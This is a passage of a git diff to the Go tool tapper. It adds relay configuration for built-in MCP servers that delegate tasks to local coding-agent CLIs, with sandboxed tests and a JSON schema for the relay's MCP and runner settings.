credentials and configuration. +func (t *Tap) relayBuiltinServers(rc *RelayConfig) ([]relay.ToolServerConfig, error) { + runners := rc.Runners + if runners == nil { + return nil, nil + } + if err := runners.Validate(); err != nil { + return nil, err + } + installed := DetectRunners(t.Runtime.Get("PATH")) + var run []InstalledRunner + var claudePath string + for _, r := range installed { + if _, own := rc.MCP[r.Name]; !own && runners.Runs(r.Name) { + run = append(run, r) + } + if r.Name == "claude" { + claudePath = r.Path + } + } + _, ownClaudeTools := rc.MCP[RelayClaudeToolsServer] + wantClaudeTools := !ownClaudeTools && claudePath != "" && runners.ClaudeTools() + if len(run) == 0 && !wantClaudeTools { + return nil, nil + } + + timeout := DefaultRunnerTimeout + if runners.Timeout != "" { + d, err := time.ParseDuration(runners.Timeout) + if err != nil || d <= 0 { + return nil, fmt.Errorf("relay.runners.timeout %q must be a positive duration such as 30m", runners.Timeout) + } + timeout = d + } + var roots []string + for _, root := range runners.Roots { + abs, err := t.Runtime.AbsPath(root) + if err != nil { + return nil, fmt.Errorf("relay.runners.roots: %q: %w", root, err) + } + if abs != "" { + roots = append(roots, abs) + } + } + if len(roots) == 0 { + home, err := t.Runtime.GetHome() + if err != nil || home == "" { + return nil, errors.New("relay.runners: no roots set and no home directory to default to") + } + roots = []string{home} + } + maxConcurrent := cmp.Or(runners.MaxConcurrent, defaultRunnersMaxConcurrent) + + environ := t.Runtime.Environ() + var out []relay.ToolServerConfig + if len(run) > 0 { + exe, err := relayExecutable() + if err != nil { + return nil, fmt.Errorf("relay.runners: locate tap: %w", err) + } + for _, r := range run { + out = append(out, relay.ToolServerConfig{ + Name: r.Name, + Title: r.Title, + Command: exe, + Args: []string{"runner", "serve", "--runner", r.Name}, + Env: relay.ToolEnv(environ, true, nil, map[string]string{ + RunnerRootsEnv: strings.Join(roots, string(filepath.ListSeparator)), + RunnerTimeoutEnv: timeout.String(), + }), + MaxConcurrent: maxConcurrent, + Timeout: timeout + runnersTimeoutMargin, + }) + } + } + if wantClaudeTools { + out = append(out, relay.ToolServerConfig{ + Name: RelayClaudeToolsServer, + Title: "Claude Code tools", + Command: claudePath, + Args: []string{"mcp", "serve"}, + Dir: roots[0], + Env: relay.ToolEnv(environ, true, nil, map[string]string{RelayToolsEnv: "off"}), + Timeout: claudeCodeToolTimeout, + }) + } + return out, nil +} + func relayMetadata(in map[string]RelayModelMeta) map[string]relay.ModelMeta { if len(in) == 0 { return nil diff --git a/pkg/tapper/tap_relay_hubs_test.go b/pkg/tapper/tap_relay_hubs_test.go index 74e37e0..7b67ac2 100644 --- a/pkg/tapper/tap_relay_hubs_test.go +++ b/pkg/tapper/tap_relay_hubs_test.go @@ -2,10 +2,15 @@ package tapper import ( "context" + "os" + "path/filepath" "testing" + "time" "github.com/jlrickert/cli-toolkit/sandbox" "github.com/stretchr/testify/require" + + "github.com/jlrickert/tapper/internal/relay" ) func TestRelayHubURLs(t *testing.T) { @@ -83,3 +88,193 @@ func TestRelayModelMetadataAndVariantsParse(t *testing.T) { require.Equal(t, 262144, variants["qwen3.6:35b-256k"].ContextWindow) require.Equal(t, "qwen3.6:35b", variants["qwen3.6:35b-256k"].From) } + +func TestRelayToolServersFromConfig(t *testing.T) { + sb := sandbox.NewSandbox(t, &sandbox.Options{Home: "/home/testuser", User: "testuser"}) + tap, err := NewTap(TapOptions{Runtime: sb.Runtime()}) + require.NoError(t, err) + cfg, err := ParseConfig([]byte(`relay: + mcp: + everything: + command: npx + args: ["-y", "@modelcontextprotocol/server-everything"] + envFrom: [GITHUB_TOKEN] + timeout: 30s + web: + url: http://127.0.0.1:3000/mcp + headersFromEnv: {Authorization: MCP_AUTH} + tools: {deny: ["delete_*"]} + off: + enabled: false + command: nope +`)) + require.NoError(t, err) + rc := cfg.Relay() + require.Equal(t, []string{"delete_*"}, rc.MCP["web"].Tools.Deny) + + _, err = tap.relayToolServers(rc) + require.ErrorContains(t, err, "MCP_AUTH", "a named header variable must be set") + + require.NoError(t, sb.Runtime().Set("MCP_AUTH", "Bearer x")) + servers, err := tap.relayToolServers(rc) + require.NoError(t, err) + require.Len(t, servers, 2, "a disabled server is left out") + require.Equal(t, "everything", servers[0].Name()) + require.Equal(t, "web", servers[1].Name()) + + bad := &RelayConfig{MCP: map[string]RelayMCPServer{"s": {Command: "x", Timeout: "soon"}}} + _, err = tap.relayToolServers(bad) + require.ErrorContains(t, err, "timeout") + + both := &RelayConfig{MCP: map[string]RelayMCPServer{"s": {Command: "x", URL: "http://h"}}} + _, err = tap.relayToolServers(both) + require.ErrorContains(t, err, "both command and url") +} + +// stubRunners puts executable stand-ins for the named CLIs in a fresh +// directory and returns it, for use as PATH. +func stubRunners(t *testing.T, names ...string) string { + t.Helper() + dir := t.TempDir() + for _, n := range names { + require.NoError(t, os.WriteFile(filepath.Join(dir, n), []byte("#!/bin/sh\nexit 0\n"), 0o755)) + } + return dir +} + +func builtinNames(cfgs []relay.ToolServerConfig) []string { + out := make([]string, 0, len(cfgs)) + for _, c := range cfgs { + out = append(out, c.Name) + } + return out +} + +func TestRelayBuiltinServers(t *testing.T) { + sb := sandbox.NewSandbox(t, &sandbox.Options{Home: "/home/testuser", User: "testuser"}) + tap, err := NewTap(TapOptions{Runtime: sb.Runtime()}) + require.NoError(t, err) + orig := relayExecutable + relayExecutable = func() (string, error) { return "/usr/local/bin/tap", nil } + t.Cleanup(func() { relayExecutable = orig }) + + bin := stubRunners(t, "claude", "codex", "opencode", "pi") + require.NoError(t, sb.Runtime().Set("PATH", bin)) + + all := &RelayRunners{ + Claude: &RelayClaudeRunner{Run: true, Tools: true}, + Codex: &RelayRunner{Run: true}, + Opencode: &RelayRunner{Run: true}, + Pi: &RelayRunner{Run: true}, + } + cfgs, err := tap.relayBuiltinServers(&RelayConfig{Runners: all}) + require.NoError(t, err) + require.Equal(t, []string{"claude", "codex", "opencode", "pi", "claude-tools"}, builtinNames(cfgs)) + runner, claudeTools := cfgs[1], cfgs[4] + require.Equal(t, "Codex", runner.Title) + require.Equal(t, "/usr/local/bin/tap", runner.Command) + require.Equal(t, []string{"runner", "serve", "--runner", "codex"}, runner.Args) + require.Contains(t, runner.Env, "TAP_RUNNER_ROOTS=/home/testuser") + require.Contains(t, runner.Env, "TAP_RUNNER_TIMEOUT=30m0s") + require.Contains(t, runner.Env, "PATH="+bin, "runners inherit the relay's environment") + require.Equal(t, 2, runner.MaxConcurrent) + require.Equal(t, 31*time.Minute, runner.Timeout, "the relay waits a little past the runner's own timeout") + require.Equal(t, []string{"runner", "serve", "--runner", "claude"}, cfgs[0].Args) + require.Equal(t, filepath.Join(bin, "claude"), claudeTools.Command) + require.Equal(t, []string{"mcp", "serve"}, claudeTools.Args) + require.Equal(t, "/home/testuser", claudeTools.Dir) + require.Equal(t, 10*time.Minute, claudeTools.Timeout) + + all.Roots, all.Timeout, all.MaxConcurrent = []string{"~/src", "/work"}, "45m", 3 + cfgs, err = tap.relayBuiltinServers(&RelayConfig{Runners: all}) + require.NoError(t, err) + require.Contains(t, cfgs[0].Env, "TAP_RUNNER_ROOTS=/home/testuser/src"+string(filepath.ListSeparator)+"/work") + require.Contains(t, cfgs[0].Env, "TAP_RUNNER_TIMEOUT=45m0s") + require.Equal(t, 3, cfgs[0].MaxConcurrent) + require.Equal(t, "/home/testuser/src", cfgs[4].Dir) + + cfg, err := ParseConfig([]byte("relay:\n mcp:\n codex: {enabled: false}\n claude-tools: {enabled: false}\n" + + " runners:\n claude: {run: true, tools: true}\n codex: {run: true}\n")) + require.NoError(t, err) + cfgs, err = tap.relayBuiltinServers(cfg.Relay()) + require.NoError(t, err) + require.Equal(t, []string{"claude"}, builtinNames(cfgs), "a disabled same-named server removes the built-in") + servers, err := tap.relayToolServers(cfg.Relay()) + require.NoError(t, err) + require.Len(t, servers, 1) + require.Equal(t, "claude", servers[0].Name()) + + _, err = tap.relayBuiltinServers(&RelayConfig{Runners: &RelayRunners{Timeout: "soon", Pi: &RelayRunner{Run: true}}}) + require.ErrorContains(t, err, "relay.runners.timeout") + + require.NoError(t, sb.Runtime().Set("PATH", stubRunners(t, "codex"))) + cfgs, err = tap.relayBuiltinServers(&RelayConfig{Runners: all}) + require.NoError(t, err) + require.Equal(t, []string{"codex"}, builtinNames(cfgs), "a harness must be on PATH") + + require.NoError(t, sb.Runtime().Set("PATH", stubRunners(t))) + cfgs, err = tap.relayBuiltinServers(&RelayConfig{Runners: all}) + require.NoError(t, err) + require.Empty(t, cfgs, "no runner on PATH, no built-in") +} + +func TestRelayRunnersConfig(t *testing.T) { + sb := sandbox.NewSandbox(t, &sandbox.Options{Home: "/home/testuser", User: "testuser"}) + tap, err := NewTap(TapOptions{Runtime: sb.Runtime()}) + require.NoError(t, err) + orig := relayExecutable + relayExecutable = func() (string, error) { return "/usr/local/bin/tap", nil } + t.Cleanup(func() { relayExecutable = orig }) + require.NoError(t, sb.Runtime().Set("PATH", stubRunners(t, "claude", "codex", "opencode", "pi"))) + + builtins := func(t *testing.T, yaml string) []string { + t.Helper() + cfg, err := ParseConfig([]byte(yaml)) + require.NoError(t, err) + cfgs, err := tap.relayBuiltinServers(cfg.Relay()) + require.NoError(t, err) + return builtinNames(cfgs) + } + + t.Run("all off by default", func(t *testing.T) { + require.Empty(t, builtins(t, "relay: {name: laptop}\n")) + require.Empty(t, builtins(t, "relay: {runners: {roots: [/work]}}\n")) + require.Empty(t, builtins(t, "relay: {runners: {claude: {}, codex: {}, opencode: {}, pi: {}}}\n")) + }) + t.Run("run enables only that harness", func(t *testing.T) { + require.Equal(t, []string{"claude"}, builtins(t, "relay: {runners: {claude: {run: true}}}\n")) + require.Equal(t, []string{"codex"}, builtins(t, "relay: {runners: {codex: {run: true}}}\n")) + require.Equal(t, []string{"opencode"}, builtins(t, "relay: {runners: {opencode: {run: true}}}\n")) + require.Equal(t, []string{"pi"}, builtins(t, "relay: {runners: {pi: {run: true}}}\n")) + }) + t.Run("claude tools enables claude-tools", func(t *testing.T) { + require.Equal(t, []string{"claude-tools"}, builtins(t, "relay: {runners: {claude: {tools: true}}}\n")) + }) + t.Run("tools is claude only", func(t *testing.T) { + for _, name := range []string{"codex", "opencode", "pi"} { + cfg, err := ParseConfig([]byte("relay: {runners: {" + name + ": {run: true, tools: true}}}\n")) + require.NoError(t, err, "the config still loads") + _, err = tap.relayBuiltinServers(cfg.Relay()) + require.ErrorContains(t, err, "relay.runners."+name+".tools: not supported by this harness") + } + }) + t.Run("retired keys do nothing", func(t *testing.T) { + // Unknown keys are ignored by the decoder (and flagged by the + // schema), so the retired switches turn nothing on. + require.Empty(t, builtins(t, "relay: {runners: {enabled: true, claudeTools: true, shareable: true}}\n")) + cfg, err := ParseConfig([]byte("relay: {mcp: {web: {url: 'http://127.0.0.1:3000/mcp', shareable: true}}}\n")) + require.NoError(t, err) + require.Contains(t, cfg.Relay().MCP, "web") + }) +} + +func TestRelayRunsWithOnlyBuiltins(t *testing.T) { + sb := sandbox.NewSandbox(t, &sandbox.Options{Home: "/home/testuser", User: "testuser"}) + cfg := "hub: atlas\nhubs:\n atlas: {url: https://hub.example, token: t}\n" + require.NoError(t, sb.Runtime().AtomicWriteFile("/home/testuser/.config/tapper/config.yaml", []byte(cfg), 0o644)) + tap, err := NewTap(TapOptions{Runtime: sb.Runtime()}) + require.NoError(t, err) + require.NoError(t, sb.Runtime().Set("PATH", stubRunners(t))) + require.ErrorIs(t, tap.Relay(context.Background(), RelayOptions{}), ErrRelayNotConfigured, + "no providers, no servers and no runners: nothing to relay") +} diff --git a/schemas/tap-config.json b/schemas/tap-config.json index e82a4a5..de51c1d 100644 --- a/schemas/tap-config.json +++ b/schemas/tap-config.json @@ -4,6 +4,19 @@ "title": "tapper user/project config", "description": "Schema for tapper user or project configuration.", "type": "object", + "definitions": { + "relayRunner": { + "type": "object", + "description": "A coding agent that can only run tasks: it has no tools option, which only claude supports.", + "properties": { + "run": { + "type": "boolean", + "description": "Offer this harness's runner server. Defaults to false." + } + }, + "additionalProperties": false + } + }, "properties": { "keg": { "type": "string", @@ -125,7 +138,7 @@ }, "relay": { "type": "object", - "description": "Configures `tap relay`: which local or personal model providers this machine contributes to Hub's model catalog. Holds provider access and nothing else \u2014 model identity comes from the Hub catalog. Allowed only in user configuration; project layers are stripped.", + "description": "Configures `tap relay`: which local or personal model providers this machine contributes to Hub's model catalog. Holds provider and MCP server access and nothing else \u2014 model identity comes from the Hub catalog. Allowed only in user configuration; project layers are stripped.", "properties": { "enabled": { "type": "boolean", @@ -309,6 +322,216 @@ }, "additionalProperties": true } + }, + "mcp": { + "type": "object", + "description": "Local MCP servers whose tools the relay forwards to Hub, keyed by the server name advertised to Hub. Hub can only name a server and tool from this list; the command, URL, headers and environment never leave this machine.", + "propertyNames": { + "pattern": "^[A-Za-z0-9._-]{1,64}$" + }, + "additionalProperties": { + "type": "object", + "description": "One MCP server: set command for a stdio server the relay starts, or url for a running streamable HTTP server.", + "properties": { + "enabled": { + "type": "boolean", + "description": "false leaves this server out. Omitted means enabled." + }, + "title": { + "type": "string", + "maxLength": 200, + "description": "Display name shown on Hub." + }, + "command": { + "type": "string", + "minLength": 1, + "description": "Program to start as a stdio MCP server, e.g. npx." + }, + "args": { + "type": "array", + "items": { + "type": "string" + }, + "description": "Arguments for command." + }, + "cwd": { + "type": "string", + "description": "Working directory for command." + }, + "env": { + "type": "object", + "additionalProperties": { + "type": "string" + }, + "description": "Literal environment variables for command. Keep secrets out; pass them with envFrom." + }, + "envFrom": { + "type": "array", + "items": { + "type": "string", + "pattern": "^[A-Za-z_][A-Za-z0-9_]*$" + }, + "description": "Variables passed through from the relay's environment. Otherwise only PATH, HOME, locale and a few basics are passed, so hub tokens and provider keys stay out." + }, + "inheritEnv": { + "type": "boolean", + "description": "Pass the relay's whole environment instead of the filtered one. Defaults to false." + }, + "url": { + "type": "string", + "pattern": "^https?://", + "description": "Endpoint of a running streamable HTTP MCP server." + }, + "headers": { + "type": "object", + "additionalProperties": { + "type": "string" + }, + "description": "Literal headers sent to url. Keep secrets out; use headersFromEnv." + }, + "headersFromEnv": { + "type": "object", + "additionalProperties": { + "type": "string", + "pattern": "^[A-Za-z_][A-Za-z0-9_]*$" + }, + "description": "Header name to the environment variable holding its value, e.g. {Authorization: MCP_AUTH}." + }, + "tools": { + "type": "object", + "description": "Which of the server's tools are offered, by name or glob.", + "properties": { + "allow": { + "type": "array", + "items": { + "type": "string" + }, + "description": "Offer only these tools. Empty offers every tool not denied." + }, + "deny": { + "type": "array", + "items": { + "type": "string" + }, + "description": "Never offer these tools." + } + }, + "additionalProperties": false + }, + "maxConcurrent": { + "type": "integer", + "minimum": 1, + "maximum": 64, + "description": "This server's in-flight calls across every hub the relay serves. Defaults to 4." + }, + "timeout": { + "type": "string", + "pattern": "^([0-9]+(\\.[0-9]+)?(ns|us|\u00b5s|ms|s|m|h))+$", + "description": "Longest one call may run, as a Go duration such as 30s or 5m. Defaults to 2m." + } + }, + "oneOf": [ + { + "description": "A disabled entry needs no endpoint; with a built-in server's name it removes that server.", + "required": [ + "enabled" + ], + "properties": { + "enabled": { + "const": false + } + }, + "not": { + "anyOf": [ + { + "required": [ + "command" + ] + }, + { + "required": [ + "url" + ] + } + ] + } + }, + { + "required": [ + "command" + ], + "not": { + "required": [ + "url" + ] + } + }, + { + "required": [ + "url" + ], + "not": { + "required": [ + "command" + ] + } + } + ], + "additionalProperties": false + } + }, + "runners": { + "type": "object", + "description": "The relay's built-in MCP servers, all off by default and each offered only when its CLI is on PATH: \"claude\", \"codex\", \"opencode\" and \"pi\" (each runs `tap runner serve --runner NAME`, one tool that hands tasks to that coding agent: claude_code_run, codex_run, opencode_run, pi_run) and \"claude-tools\" (Claude Code's own tools via `claude mcp serve`). A relay.mcp entry with the same name replaces one, or removes it with enabled: false.", + "properties": { + "claude": { + "type": "object", + "description": "Claude Code's built-in servers.", + "properties": { + "run": { + "type": "boolean", + "description": "Offer the \"claude\" server (claude_code_run). Defaults to false." + }, + "tools": { + "type": "boolean", + "description": "Offer the \"claude-tools\" server, Claude Code's own tools via `claude mcp serve`. Defaults to false." + } + }, + "additionalProperties": false + }, + "codex": { + "$ref": "#/definitions/relayRunner", + "description": "Offer the \"codex\" server (codex_run)." + }, + "opencode": { + "$ref": "#/definitions/relayRunner", + "description": "Offer the \"opencode\" server (opencode_run)." + }, + "pi": { + "$ref": "#/definitions/relayRunner", + "description": "Offer the \"pi\" server (pi_run)." + }, + "roots": { + "type": "array", + "items": { + "type": "string", + "minLength": 1 + }, + "description": "Directories a delegated task's cwd must be under. Defaults to your home directory. The first is also claude-tools' working directory." + }, + "timeout": { + "type": "string", + "pattern": "^([0-9]+(\\.[0-9]+)?(ns|us|\u00b5s|ms|s|m|h))+$", + "description": "Longest one delegated task may run, as a Go duration. Defaults to 30m." + }, + "maxConcurrent": { + "type": "integer", + "minimum": 1, + "maximum": 64, + "description": "Delegated tasks running at once on each runner server. Defaults to 2." + } + }, + "additionalProperties": false } }, "additionalProperties": true